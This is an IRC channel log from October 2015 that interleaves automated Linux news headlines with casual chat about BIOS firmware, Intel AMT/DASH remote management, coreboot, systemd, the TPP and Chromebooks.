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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | New Renesas SoCs offer 1.5GHz, 1080p, GbE, USB 3.0, PCIe | Tux Machines | Oct 09 16:31 | |
| TweetTuxMachines | @tuxmachines Linksys WRT router gains faster SoC, more RAM, | Oct 09 16:34 |
| TweetTuxMachines | OpenWrt http://t.co/eTfsBLUuLm | Oct 09 16:34 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 16:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linksys WRT router gains faster SoC, more RAM, OpenWrt | Tux Machines | Oct 09 16:34 | |
| TweetTuxMachines | @tuxmachines Science on Android http://t.co/DVWzhzs1fN | Oct 09 16:34 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 16:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Science on Android | Tux Machines | Oct 09 16:34 | |
| TweetTuxMachines | @tuxmachines Bodhi: Detour and Forum Themes now Moksha | Oct 09 16:34 |
| TweetTuxMachines | Compatible http://t.co/9Uws1140N8 | Oct 09 16:34 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 16:34 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Bodhi: Detour and Forum Themes now Moksha Compatible | Tux Machines | Oct 09 16:34 | |
| TweetTuxMachines | @tuxmachines KDBUS Continues Maturing, But Will We See It | Oct 09 16:34 |
| TweetTuxMachines | For Linux 4.4? http://t.co/40iVTFTzQr | Oct 09 16:34 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 16:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyxur | Oct 09 16:34 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDBUS Continues Maturing, But Will We See It For Linux 4.4? | Tux Machines | Oct 09 16:34 | |
| *TweetTuxMachines @linuxusergroup favourited 'Down to Business with Major Deployments https://t.co/gezQJKETeM' | Oct 09 16:35 | |
| -TechrightsBot-tr/#techrights-dot.kde.org | Down to Business with Major Deployments | KDE.news | Oct 09 16:35 | |
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| cubexyz | looks like PCs are going to be gummed up with Microsoft crap more than ever | Oct 09 18:13 |
| MinceR | indeed | Oct 09 18:23 |
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| cubexyz | Ward from FSF is pretty knowledgeable about BIOS: | Oct 09 18:33 |
| cubexyz | https://fsf.org/blogs/community/active-management-technology | Oct 09 18:34 |
| -TechrightsBot-tr/#techrights-fsf.org | "Active Management Technology": The obscure remote control in some Intel hardware — Free Software Foundation — working together for free software [ http://ur1.ca/nyyw7 ] | Oct 09 18:34 | |
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| cubexyz | one can consider AMT as the Intel flavour of DASH | Oct 09 18:39 |
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| cubexyz | there should be an itegrity check on the BIOS | Oct 09 19:38 |
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| MinceR | https://twitter.com/Arcon_/status/652628863848087552 | Oct 09 19:41 |
| -TechrightsBot-tr/#techrights-@Arcon_: Our good friend @darkespyne242 made a torrent for the #TPP leak https://t.co/Fkai1UziQn | Oct 09 19:41 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://my.mixtape.moe/mmvsyy.torrent ) | Oct 09 19:41 | |
| cubexyz | what is that? | Oct 09 19:43 |
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| cubexyz | oh I see... Trans-Pacific Partnership Agreement | Oct 09 19:44 |
| cubexyz | damn, I was hoping for BIOS source code :) | Oct 09 19:45 |
| cubexyz | it's really hard to get you know | Oct 09 19:45 |
| schestowitz | MinceR: ta | Oct 09 19:45 |
| MinceR | :) | Oct 09 19:47 |
| cubexyz | I just learned about NSL's today | Oct 09 19:49 |
| cubexyz | https://en.wikipedia.org/wiki/National_security_letter | Oct 09 19:50 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | National security letter - Wikipedia, the free encyclopedia [ http://ur1.ca/e7wd7 ] | Oct 09 19:50 | |
| cubexyz | closed source BIOS really is crap though | Oct 09 19:52 |
| cubexyz | and the motherboard manufacturers have made motherboards which are user-hostile in various ways | Oct 09 19:54 |
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| cubexyz | http://www.maxhost.org/other/attacking-intel-bios.pdf | Oct 09 20:07 |
| TweetTuxMachines | @tuxmachines Down to Business with Major Deployments | Oct 09 20:11 |
| TweetTuxMachines | retweeted by https://t.co/gezQJKETeM (dot.kde.org) | Oct 09 20:11 |
| TweetTuxMachines | @linuxusergroup | Oct 09 20:11 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyzpr | Oct 09 20:11 |
| TweetTuxMachines | @tuxmachines Amazon’s AWS IoT platform taps three Linux SBCs | Oct 09 20:11 |
| TweetTuxMachines | http://t.co/fd1cZyqPl8 (www.tuxmachines.org) | Oct 09 20:11 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Amazon’s AWS IoT platform taps three Linux SBCs | Tux Machines | Oct 09 20:11 | |
| MinceR | here's poettering going full sjw: https://plus.google.com/app/basic/stream/z13rdjryqyn1xlt3522sxpugoz3gujbhh04 | Oct 09 20:21 |
| -TechrightsBot-tr/#techrights-plus.google.com | Google+ [ http://ur1.ca/nyzsu ] | Oct 09 20:21 | |
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| cubexyz | that's just an opinion piece | Oct 09 20:24 |
| cubexyz | a lot of the time I never see the people I work with online | Oct 09 20:26 |
| cubexyz | sometimes I don't even know there real name | Oct 09 20:26 |
| cubexyz | s/there/their/ | Oct 09 20:26 |
| TweetTuxMachines | @tuxmachines openSUSE Tumbleweed Gets New Major Snapshot, | Oct 09 20:26 |
| TweetTuxMachines | Leap 42.1 RC1 Coming Next Week | Oct 09 20:26 |
| TweetTuxMachines | http://t.co/kbMhOSw4GX (www.tuxmachines.org) | Oct 09 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1 RC1 Coming Next Week | Tux Machines | Oct 09 20:27 | |
| TweetTuxMachines | @tuxmachines FreeNAS 10 Enters Alpha, Brings Lots of New | Oct 09 20:27 |
| TweetTuxMachines | Technologies, Based on FreeBSD 10.2 | Oct 09 20:27 |
| TweetTuxMachines | http://t.co/UCW1SiXscw (www.tuxmachines.org) | Oct 09 20:27 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | FreeNAS 10 Enters Alpha, Brings Lots of New Technologies, Based on FreeBSD 10.2 | Tux Machines | Oct 09 20:27 | |
| cubexyz | yeah they can brick BIOS's by hacking the BMP file with bogus wide and height | Oct 09 20:34 |
| cubexyz | clever | Oct 09 20:34 |
| MinceR | fun | Oct 09 20:35 |
| *TweetTuxMachines @softpedialinux favourited 'openSUSE Tumbleweed Gets New Major Snapshot, Leap 42.1...' | Oct 09 20:36 | |
| *TweetTuxMachines @softpedialinux favourited 'FreeNAS 10 Enters Alpha, Brings Lots of New...' | Oct 09 20:36 | |
| msb_ | Didn't someone say Poettering was gay? In that plus.google spew he says he's straight. | Oct 09 20:40 |
| MinceR | i don't know, i don't care enough | Oct 09 20:41 |
| MinceR | plus i don't mind gay people, putin does | Oct 09 20:42 |
| cubexyz | he's trying to invoke the PC brigade, trying to defocus people from the real issues | Oct 09 20:42 |
| MinceR | exactly | Oct 09 20:43 |
| cubexyz | some of the anti-Poettering comments are funny though | Oct 09 20:43 |
| msb_ | MinceR: Do you ever have a moment in your life when you _don't_ think about Putin? | Oct 09 20:43 |
| MinceR | msb_: indeed | Oct 09 20:43 |
| MinceR | most of the moments in my life are such | Oct 09 20:43 |
| MinceR | unlike your life | Oct 09 20:44 |
| cubexyz | "he deserves to become the maintainer of svchost.exe" | Oct 09 20:44 |
| msb_ | MinceR: STOP LYING ABOUT ME!!! | Oct 09 20:44 |
| MinceR | the notion that svchost.exe is maintained is amusing | Oct 09 20:44 |
| MinceR | (or any other m$ product, for that matter) | Oct 09 20:44 |
| cubexyz | who knows? It's all opaque unless you work for M$ | Oct 09 20:45 |
| MinceR | maybe m$ should adopt the CADT development model too | Oct 09 20:45 |
| cubexyz | maybe not even then | Oct 09 20:45 |
| TweetTuxMachines | @tuxmachines The whole 'Mac vs. PC' thing is so over, and | Oct 09 20:46 |
| TweetTuxMachines | 'Android vs iPhone' is close behind | Oct 09 20:46 |
| TweetTuxMachines | https://t.co/KXhAqE6dEJ (www.yahoo.com) false | Oct 09 20:46 |
| TweetTuxMachines | dichotomies | Oct 09 20:46 |
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| -TechrightsBot-tr/#techrights-www.yahoo.com | The whole 'Mac vs. PC' thing is so over, and 'Android vs iPhone' is close behind | Oct 09 20:46 | |
| TweetTuxMachines | @tuxmachines Android TV: Is Google’s other living-room | Oct 09 20:46 |
| TweetTuxMachines | platform at a dead end? http://t.co/7tRbsbHJXo | Oct 09 20:46 |
| TweetTuxMachines | (www.techhive.com) | Oct 09 20:46 |
| -TechrightsBot-tr/#techrights-www.techhive.com | Android TV: Is Google’s other living-room device at a dead end? | Oct 09 20:46 | |
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| TweetTuxMachines | @tuxmachines Sony Xperia Z5 vs Samsung Galaxy #S6 | Oct 09 20:46 |
| TweetTuxMachines | comparison: What's the best Android phone? | Oct 09 20:46 |
| TweetTuxMachines | http://t.co/04bL9yA8fG (www.pcadvisor.co.uk) | Oct 09 20:46 |
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| -TechrightsBot-tr/#techrights-www.pcadvisor.co.uk | Sony Xperia Z5 vs Samsung Galaxy S6: What's the best Android phone? - Review - PC Advisor | Oct 09 20:46 | |
| msb_ | I just found out that the source code of systemd is 36MB of text. A typical novel is 0.5 to 1MB of text. | Oct 09 20:48 |
| MinceR | a typical novel is also a lot more readable | Oct 09 20:49 |
| MinceR | and a lot more useful | Oct 09 20:49 |
| msb_ | Plenty of room in there to hide a backdoor for the govt to use to take over a Lennix computer. | Oct 09 20:49 |
| MinceR | also plenty of bad design and bad code to leave vulnerabilities all over the place | Oct 09 20:51 |
| MinceR | conveniently in pid1 as root | Oct 09 20:51 |
| msb_ | Nobody is going to read 36 novels worth of text _and_ analyze its functioning as code to see if there's an intentionally hidden bug/backdoor. | Oct 09 20:51 |
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| msb_ | Of course all MS-Winblows systems can already be killed via their botnet. | Oct 09 20:53 |
| TweetTuxMachines | @tuxmachines 5 cool new Android launchers and interface | Oct 09 20:54 |
| TweetTuxMachines | tools (October) | Oct 09 20:54 |
| TweetTuxMachines | http://t.co/dhDwu0wCTt (www.phonearena.com) | Oct 09 20:54 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz03p | Oct 09 20:54 |
| -TechrightsBot-tr/#techrights-www.phonearena.com | 5 cool new Android launchers and interface tools (October) | Oct 09 20:54 | |
| TweetTuxMachines | @tuxmachines Meet the White Team, Makers of the | Oct 09 20:55 |
| TweetTuxMachines | Linux.Wifatch Viligante Malware | Oct 09 20:55 |
| TweetTuxMachines | https://t.co/JW1OZVIMXn | Oct 09 20:55 |
| TweetTuxMachines | (securityintelligence.com) | Oct 09 20:55 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz03r | Oct 09 20:55 |
| -TechrightsBot-tr/#techrights-securityintelligence.com | Meet the White Team, Makers of the Linux.Wifatch Vigilante Malware | Oct 09 20:55 | |
| msb_ | And there's also AMT and DASH. The US govt will be able to kill almost every computer in the world. | Oct 09 20:55 |
| TweetTuxMachines | @tuxmachines Red Hat (RHT) is Initiated by Drexel Hamilton | Oct 09 20:55 |
| TweetTuxMachines | to Buy http://t.co/PpunMH53aG | Oct 09 20:55 |
| TweetTuxMachines | (www.moneyflowindex.org) http://t.co/GXIYhEMZZw | Oct 09 20:55 |
| TweetTuxMachines | (www.themarketbusiness.com) | Oct 09 20:55 |
| -TechrightsBot-tr/#techrights-www.moneyflowindex.org | Red Hat (RHT) is Initiated by Drexel Hamilton to Buy | Oct 09 20:55 | |
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| -TechrightsBot-tr/#techrights-www.themarketbusiness.com | Red Hat Coverage Initiated at Drexel Hamilton (RHT) | The Market Business | Oct 09 20:55 | |
| cubexyz | well, all the old DEC computers will be fine | Oct 09 20:57 |
| cubexyz | PDP-11, Vax, DEC Pro | Oct 09 20:58 |
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| cubexyz | Amigas have ROMs, no way to over-write the firmware | Oct 09 20:58 |
| cubexyz | any computer without an internet connection should be fine | Oct 09 20:59 |
| msb_ | None of those facts is helpful to the vast majority of people today. | Oct 09 21:00 |
| MinceR | indeed, we need a computer specifically to access the internet | Oct 09 21:00 |
| msb_ | We need ways to disable AMT/DASH on current computers. | Oct 09 21:01 |
| cubexyz | it always goes back to the BIOS | Oct 09 21:02 |
| msb_ | We don't know if AMT/DASH can be disabled in BIOS. | Oct 09 21:03 |
| cubexyz | you're right, most computers aren't really that good | Oct 09 21:03 |
| cubexyz | I'm very careful what I use | Oct 09 21:03 |
| cubexyz | I won't touch the computers I see in the stores with a 10 metre pole | Oct 09 21:04 |
| cubexyz | I must have put at least 100 hours into that coreboot Gigabyte system | Oct 09 21:04 |
| cubexyz | no way most people are going to do that | Oct 09 21:05 |
| cubexyz | the coreboot folks are very worried about being locked out | Oct 09 21:06 |
| msb_ | One possibility is to disable the wifi (remove, cover, short out the antenna) and run all Net communications through an Ethernet NIC, which is connected to a SBC acting as a router, that deletes all AMT/DASH control packets. | Oct 09 21:08 |
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| cubexyz | AMI won't talk to me at all | Oct 09 21:09 |
| TweetTuxMachines | @tuxmachines Fedora at LinuxCon Europe 2015 | Oct 09 21:11 |
| TweetTuxMachines | https://t.co/YTliAhgjPg | Oct 09 21:11 |
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| -TechrightsBot-tr/#techrights-eischmann.wordpress.com | Fedora at LinuxCon Europe 2015 | Brno's hat | Oct 09 21:11 | |
| TweetTuxMachines | @tuxmachines Top 20 Apps in the Tizen Store for September | Oct 09 21:11 |
| TweetTuxMachines | 2015 http://t.co/xznaillJNx | Oct 09 21:11 |
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| -TechrightsBot-tr/#techrights-www.tizenexperts.com | Top 20 Apps in the Tizen Store for September 2015 - Tizen Experts | Oct 09 21:11 | |
| TweetTuxMachines | @tuxmachines Science on Android http://t.co/19gkYPOCpi | Oct 09 21:11 |
| TweetTuxMachines | (www.linuxjournal.com) | Oct 09 21:11 |
| -TechrightsBot-tr/#techrights-www.linuxjournal.com | Science on Android | Linux Journal | Oct 09 21:11 | |
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| cubexyz | no reason why you can't bypass all the DASH/AMT stuff by using an older computer to do your emails, online banking, etc | Oct 09 21:11 |
| cubexyz | then keep another computer for other stuff | Oct 09 21:11 |
| cubexyz | lock out all incoming communications on it | Oct 09 21:11 |
| msb_ | The SBC router might even continually send AMT/DASH packets to the computer to keep the intrusion system busied out, or shut off. | Oct 09 21:13 |
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| msb_ | cubexyz: People want to have a modern high-speed computer connected to the Net for things like videos. | Oct 09 21:13 |
| msb_ | AMI doesn't want to give you their source code because that's a very valuable property from which they make all their money. | Oct 09 21:14 |
| cubexyz | DASH is just setting yourself up for abuse | Oct 09 21:14 |
| cubexyz | at least buy a motherboard without DASH | Oct 09 21:15 |
| MinceR | the SBC would still have to trustworthy | Oct 09 21:15 |
| MinceR | and powerful enough to deal with the throughput | Oct 09 21:15 |
| cubexyz | if DASH is baked into the motherboard, what chance do you have to control your own computer? | Oct 09 21:15 |
| MinceR | also, one needs to be ready to deal with massively increased demands by more complex cryptographic algorithms and larger keys | Oct 09 21:16 |
| cubexyz | yes, it's a tricky problem | Oct 09 21:16 |
| msb_ | cubexyz: Do you know that DASH/AMT requires BIOS support to be turned on? | Oct 09 21:16 |
| cubexyz | yes, but a hacker could turn it back on | Oct 09 21:17 |
| cubexyz | I don't want it on the board at all | Oct 09 21:17 |
| msb_ | cubexyz: Do you know that DASH/AMT requires BIOS support to be turned on? | Oct 09 21:17 |
| msb_ | Can DASH/AMT be enabled without BIOS support? | Oct 09 21:18 |
| cubexyz | I just posted a pdf on attacking the intel bios | Oct 09 21:18 |
| cubexyz | they are talking about modern motherboards | Oct 09 21:18 |
| cubexyz | sure, a really good hacker could do it | Oct 09 21:18 |
| cubexyz | turning things off in the BIOS can be turned back on | Oct 09 21:19 |
| cubexyz | it's memory all registers | Oct 09 21:19 |
| cubexyz | now, do I think the average joe blow is being attacked by high level hackers, no | Oct 09 21:20 |
| cubexyz | but the potential is there | Oct 09 21:20 |
| cubexyz | why give them another way in? | Oct 09 21:20 |
| cubexyz | DASH specifically includes a way to reflash your BIOS | Oct 09 21:22 |
| cubexyz | remotely | Oct 09 21:22 |
| cubexyz | even when the OS is not loaded | Oct 09 21:22 |
| cubexyz | so no way do I want that | Oct 09 21:22 |
| cubexyz | read abpit Chernobyl Virus | Oct 09 21:24 |
| cubexyz | read about Chernobyl Virus | Oct 09 21:24 |
| cubexyz | in the late 1990s CIH trashed some BIOSes | Oct 09 21:24 |
| cubexyz | some of the hacking is just bricking attempts for a hell of it | Oct 09 21:26 |
| cubexyz | I'm pretty sure my router gets bricked sometimes | Oct 09 21:27 |
| cubexyz | it's got UPS on the power supply, so I don't know why it would stop working | Oct 09 21:27 |
| cubexyz | ok, not bricked really, say rather it becomes inert | Oct 09 21:28 |
| cubexyz | so a power cycle is necessary to restart it | Oct 09 21:28 |
| cubexyz | could the memory on the router get corrupted? Yes, definitely | Oct 09 21:28 |
| cubexyz | some DLINK routers have backdoors by the manufacturer | Oct 09 21:29 |
| cubexyz | so ha, do you know there are no backdoors? Very difficult to say | Oct 09 21:30 |
| cubexyz | it was so techs could get in if customers forgot the password | Oct 09 21:31 |
| MinceR | allegedly | Oct 09 21:31 |
| cubexyz | msb_, I asked AMI for very old BIOS source | Oct 09 21:34 |
| cubexyz | and I also said I would sign an NDA | Oct 09 21:35 |
| cubexyz | but no answer | Oct 09 21:35 |
| msb_ | Better you should try to get it from those Russians. | Oct 09 21:35 |
| cubexyz | the 2011 era stuff had a 2 meg binary | Oct 09 21:42 |
| msb_ | Did you phone them or send email? | Oct 09 21:44 |
| cubexyz | Oct 09 21:44 | |
| msb_ | As I said previously, corps ignore email. | Oct 09 21:44 |
| cubexyz | I used their special online contact form | Oct 09 21:45 |
| cubexyz | but it included my email address of course | Oct 09 21:45 |
| msb_ | You have to call them and talk to a person. | Oct 09 21:46 |
| cubexyz | the coreboot rom I built was 256K | Oct 09 21:46 |
| cubexyz | 1998 era technology | Oct 09 21:50 |
| MinceR | http://cheezburger.com/650245/photoshop-battle-of-the-day-jeb-bush-stands-in-front-of-a-green-screen-making-photoshops-so-much | Oct 09 21:51 |
| -TechrightsBot-tr/#techrights-cheezburger.com | Photoshop Battle of the Day: Jeb! Bush Stands in Front of a Green Screen, Making Photoshops So Much Easier - Cheezburger [ http://ur1.ca/nz0kn ] | Oct 09 21:51 | |
| msb_ | We were given these Dark Web urls -- try there. https://answerstedhctbek.onion.cab/ https://zqktlwi4fecvo6ri.onion.cab/wiki/Main_Page | Oct 09 21:52 |
| -TechrightsBot-tr/#techrights-answerstedhctbek.onion.cab | Hidden Answers | Oct 09 21:52 | |
| -TechrightsBot-tr/#techrights-zqktlwi4fecvo6ri.onion.cab | The Hidden Wiki [ http://ur1.ca/nz0kv ] | Oct 09 21:52 | |
| msb_ | But if you want kitty porn: http://cosmicpenguin.com/images/KittyPorn.jpg | Oct 09 21:53 |
| cubexyz | it's a bit weird I could find some BIOS source code a month ago and now there's nothing | Oct 09 21:56 |
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| cubexyz | but if you had a motherboard from a vendor who went out of business, and just had the BIOS binary file, it's quite possible no one in the world has the source code for it | Oct 09 22:00 |
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| cubexyz | MinceR, check this out... | Oct 09 22:17 |
| cubexyz | https://www.crowdsupply.com/sutajio-kosagi/novena#board | Oct 09 22:18 |
| -TechrightsBot-tr/#techrights-www.crowdsupply.com | Novena | Crowd Supply [ http://ur1.ca/nz0sd ] | Oct 09 22:18 | |
| cubexyz | the novena can boot it's firmware from microSD card | Oct 09 22:18 |
| cubexyz | NDA-free datasheet and programming manual | Oct 09 22:18 |
| TweetTuxMachines | @tuxmachines Linksys WRT router gains faster SoC, more RAM, | Oct 09 22:22 |
| TweetTuxMachines | OpenWrt http://t.co/WxSoYKK5pE | Oct 09 22:22 |
| TweetTuxMachines | (linuxgizmos.com) "open source OpenWrt support | Oct 09 22:22 |
| -TechrightsBot-tr/#techrights-linuxgizmos.com | Linksys WRT router gains faster SoC, more RAM, OpenWrt · LinuxGizmos.com | Oct 09 22:22 | |
| TweetTuxMachines | out of the box." | Oct 09 22:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0tf | Oct 09 22:22 |
| TweetTuxMachines | @tuxmachines Red Hat and Fedora http://t.co/oFIl2dceF8 | Oct 09 22:22 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 22:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0th | Oct 09 22:22 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat and Fedora | Tux Machines | Oct 09 22:22 | |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/T64bmIknjB | Oct 09 22:22 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 09 22:22 |
| TweetTuxMachines | ........................................ http://ur1.ca/nz0ti | Oct 09 22:22 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 09 22:22 | |
| MinceR | :) | Oct 09 22:23 |
| cubexyz | https://www.youtube.com/watch?v=ITAJ2Ud4zp8 | Oct 09 22:29 |
| -TechrightsBot-tr/#techrights-www.youtube.com | NOVENA :: First Open Source Laptop - YouTube [ http://ur1.ca/nz0w6 ] | Oct 09 22:29 | |
| MinceR | seems in large part unavailable though | Oct 09 22:32 |
| MinceR | (crossed-out components and builds) | Oct 09 22:32 |
| cubexyz | hmmm | Oct 09 22:32 |
| MinceR | http://libertyblitzkrieg.com/2015/10/07/how-the-tpp-could-lead-to-worldwide-internet-censorship/ | Oct 09 23:18 |
| -TechrightsBot-tr/#techrights-libertyblitzkrieg.com | How the TPP Could Lead to Worldwide Internet Censorship | Liberty Blitzkrieg [ http://ur1.ca/nz1ag ] | Oct 09 23:18 | |
| cubexyz | the community based ISPs will never monitor anything | Oct 09 23:23 |
| cubexyz | although computers are getting worse to use | Oct 09 23:25 |
| MinceR | then the community-based ISP-s will be banned/shut down | Oct 09 23:26 |
| cubexyz | the net is already gummed up with a lot of crap | Oct 09 23:26 |
| cubexyz | well, we'll see | Oct 09 23:26 |
| MinceR | looks like we'd better get ready to use computers and communicate in illegality | Oct 09 23:26 |
| MinceR | and perhaps if humanity gets its shit together, start a revolution | Oct 09 23:27 |
| cubexyz | the community based ISP, like the one I use, they barely have any staff | Oct 09 23:27 |
| cubexyz | I can certainly imagine a massive lock-down happening on windows computers | Oct 09 23:28 |
| cubexyz | I've experienced it :) | Oct 09 23:28 |
| cubexyz | customer couldn't burn a CDR of his music CD | Oct 09 23:29 |
| MinceR | i can imagine general-purpose computers being closely controlled and banned from use by consumers | Oct 09 23:32 |
| MinceR | they already love their spyware botnet-based web terminals | Oct 09 23:32 |
| MinceR | especially if those come from crApple | Oct 09 23:32 |
| msb_ | cubexyz: What do you mean "the net is already gummed up with a lot of crap"? | Oct 09 23:43 |
| cubexyz | ads, auto-play videos, endless reams of javascript... | Oct 09 23:44 |
| msb_ | Don't you use AdBlocker? | Oct 09 23:44 |
| MinceR | 256 layers of transparent backgrounds on top of each other | Oct 09 23:45 |
| MinceR | web drm blobs | Oct 09 23:45 |
| MinceR | reimplementations of the entire web browser in javascript | Oct 09 23:45 |
| MinceR | blobs to support patent-encrusted codecs | Oct 09 23:45 |
| MinceR | tons of unnecessary distracting animations | Oct 09 23:46 |
| MinceR | more pointless javascript crap running on your computer | Oct 09 23:46 |
| MinceR | isn't the "modern" web great? | Oct 09 23:46 |
| cubexyz | well some ads I want, some I don't want | Oct 09 23:46 |
| msb_ | MinceR: I don't notice any of those things you're complaining about. If a web page is doing something annoying, I leave it. | Oct 09 23:47 |
| cubexyz | the media pages seem the worse | Oct 09 23:48 |
| msb_ | cubexyz: AdBlocker is selective. You can | Oct 09 23:48 |
| msb_ | cubexyz: AdBlocker is selective. You can choose where it blocks. | Oct 09 23:48 |
| msb_ | cubexyz: US corp media? Full of lies, never look at it. | Oct 09 23:48 |
| cubexyz | msb_, plus I can't use adblocker on some of my older computers | Oct 09 23:49 |
| cubexyz | unless there's an older version of adblock | Oct 09 23:49 |
| msb_ | Didn't you just buy a new chromebook? | Oct 09 23:49 |
| MinceR | msb_: sometimes i need information to such an abomination | Oct 09 23:50 |
| cubexyz | I don't use it for programming on.. at least not yet | Oct 09 23:50 |
| MinceR | russian state-controlled media? full of lies, never look at it. | Oct 09 23:50 |
| cubexyz | there's ublock though | Oct 09 23:50 |
| msb_ | But you can use it for browsing, right? | Oct 09 23:50 |
| cubexyz | sure | Oct 09 23:50 |
| cubexyz | there's probably a plug-in for it | Oct 09 23:51 |
| msb_ | Does it run firefox? | Oct 09 23:51 |
| MinceR | does chrome on chromeos have a 'close all tabs' function, btw? | Oct 09 23:51 |
| cubexyz | just exit :) | Oct 09 23:52 |
| cubexyz | that closes everything | Oct 09 23:52 |
| MinceR | won't it just restore it all when you start it again? | Oct 09 23:53 |
| cubexyz | let me try it, just a sec | Oct 09 23:53 |
| cubexyz | nope | Oct 09 23:53 |
| MinceR | thanks | Oct 09 23:54 |
| cubexyz | it doesn't reopen them | Oct 09 23:54 |
| MinceR | so maybe i should have bought a chromebook for my mother, not a tablet | Oct 09 23:54 |
| cubexyz | chromebook is great if you use youtube a lot | Oct 09 23:54 |
| cubexyz | there's crouton if you want full linux | Oct 09 23:55 |
| cubexyz | haven't tried that yet | Oct 09 23:55 |
| MinceR | for myself i looked at the asus chromebook flip | Oct 09 23:55 |
| MinceR | but (surprise surprise) it's not available in hungary | Oct 09 23:55 |
| MinceR | also, the only rootfs i've found for it that it could boot from an sd card was for arch (ewww) | Oct 09 23:56 |
| cubexyz | once I walked into bestbuy and I saw this enormous windows 10 display | Oct 09 23:56 |
| cubexyz | and I'm thinking "Is this hell?" | Oct 09 23:56 |
| cubexyz | I mean, there's no point ever going there | Oct 09 23:56 |
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| msb_ | Sure there is. Figure out how to put Linux on those computers, and hand out leaflets with its advantages and your phone number. | Oct 09 23:59 |
| cubexyz | I don't think bestbuy would tolerate that | Oct 09 23:59 |
| cubexyz | I will say the staff there were utterly useless | Oct 10 00:01 |
| msb_ | Why? You would be on the public sidewalk, and you wouldn't be interfering with their sales. You would install Linux after people bought a computer from them. | Oct 10 00:01 |
| msb_ | Both of you seem to focus on the most negative possible aspects of any situation. That's a habit, and you can stop doing it. | Oct 10 00:04 |
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| cubexyz | I'm focusing on the reality of the situation | Oct 10 00:05 |
| msb_ | No, only on _part_ of the reality. | Oct 10 00:05 |
| cubexyz | retail staff are really really unknowledgeable | Oct 10 00:05 |
| cubexyz | probably because wages are very low | Oct 10 00:06 |
| msb_ | And they're trained by Microshit. But so what? | Oct 10 00:06 |
| cubexyz | and I've offered to install Linux to all my customers | Oct 10 00:07 |
| cubexyz | some have, most have not | Oct 10 00:07 |
| cubexyz | I'm starting to see chromebooks though | Oct 10 00:07 |
| MinceR | “It’s not safe to hope for the best without preparing for the worst.” | Oct 10 00:07 |
| msb_ | Some people have learned how to think. Most have not. | Oct 10 00:08 |
| cubexyz | well bestbuy has flyers and online ads advertising chromebooks and when I went there they didn't even know what a chromebook was | Oct 10 00:08 |
| msb_ | There's no free will without self-observation. | Oct 10 00:08 |
| cubexyz | "duh, can't run office, duh" | Oct 10 00:09 |
| cubexyz | that's how bad it was | Oct 10 00:09 |
| msb_ | Who said that, and about what? | Oct 10 00:10 |
| cubexyz | heck, it might even be worse for Mincer which is mind boggling | Oct 10 00:10 |
| MinceR | sounds like worst buy got official m$ training all right | Oct 10 00:10 |
| cubexyz | one of the bestbuy employees, basically said chromebooks were useless | Oct 10 00:10 |
| MinceR | you can tell market economy has failed when stores try to keep potential customers from buying what they have in stock right there | Oct 10 00:10 |
| cubexyz | the other ones didn't know what a chromebook was | Oct 10 00:11 |
| cubexyz | well, most people couldn't fix their TVs, but this just seems a new level of dumbness or apathy | Oct 10 00:12 |
| MinceR | it's the mentality of the New Dark Age | Oct 10 00:12 |
| cubexyz | there used to be an independent computer shop close to me that would preload BSD | Oct 10 00:13 |
| cubexyz | but he closed up shop a few months ago | Oct 10 00:13 |
| cubexyz | I might start selling coreboot motherboards | Oct 10 00:14 |
| cubexyz | once I find one that works 100% | Oct 10 00:14 |
| MinceR | in hungary they wouldn't sell you laptops preloaded with gnu/linux even if that product line did have such models | Oct 10 00:14 |
| MinceR | e.g. EeePC | Oct 10 00:14 |
| MinceR | this country sucks almost as much as russia | Oct 10 00:14 |
| cubexyz | I've loaded Linux on probably a dozen different laptops | Oct 10 00:16 |
| cubexyz | I have a problem with websaver.ca and printable coupons | Oct 10 00:16 |
| cubexyz | still have to figure that out | Oct 10 00:16 |
| cubexyz | it uses fdf files which is a kind of pdf file but it phones home for a security check | Oct 10 00:17 |
| cubexyz | do EEEPC use systemd? | Oct 10 00:20 |
| MinceR | afaik the line ended before fedora started forcing cancerd on users | Oct 10 00:21 |
| cubexyz | they restarted it I think | Oct 10 00:21 |
| MinceR | well, i don't know about them, then | Oct 10 00:22 |
| cubexyz | yeah EEEPC with WinXP and you get a coupon for windows 10 | Oct 10 00:22 |
| cubexyz | not very encouraging I admit | Oct 10 00:24 |
| cubexyz | there's DebianEEeePC | Oct 10 00:26 |
| cubexyz | maybe it's just old stock though | Oct 10 00:28 |
| cubexyz | ah I see, ASUS relaunched it as a Microsoftian entity | Oct 10 00:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Learning The Linux File System | Tux Machines | Oct 10 01:49 | |
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| TweetTuxMachines | @tuxmachines Here are the phones and tablets that will get | Oct 10 03:27 |
| TweetTuxMachines | Android 6.0 Marshmallow https://t.co/R1auveicF2 | Oct 10 03:27 |
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| -TechrightsBot-tr/#techrights-www.extremetech.com | Here are the phones and tablets that will get Android 6.0 Marshmallow | ExtremeTech | Oct 10 03:27 | |
| TweetTuxMachines | @tuxmachines MyPaint Fills a Graphics Void on Linux | Oct 10 03:28 |
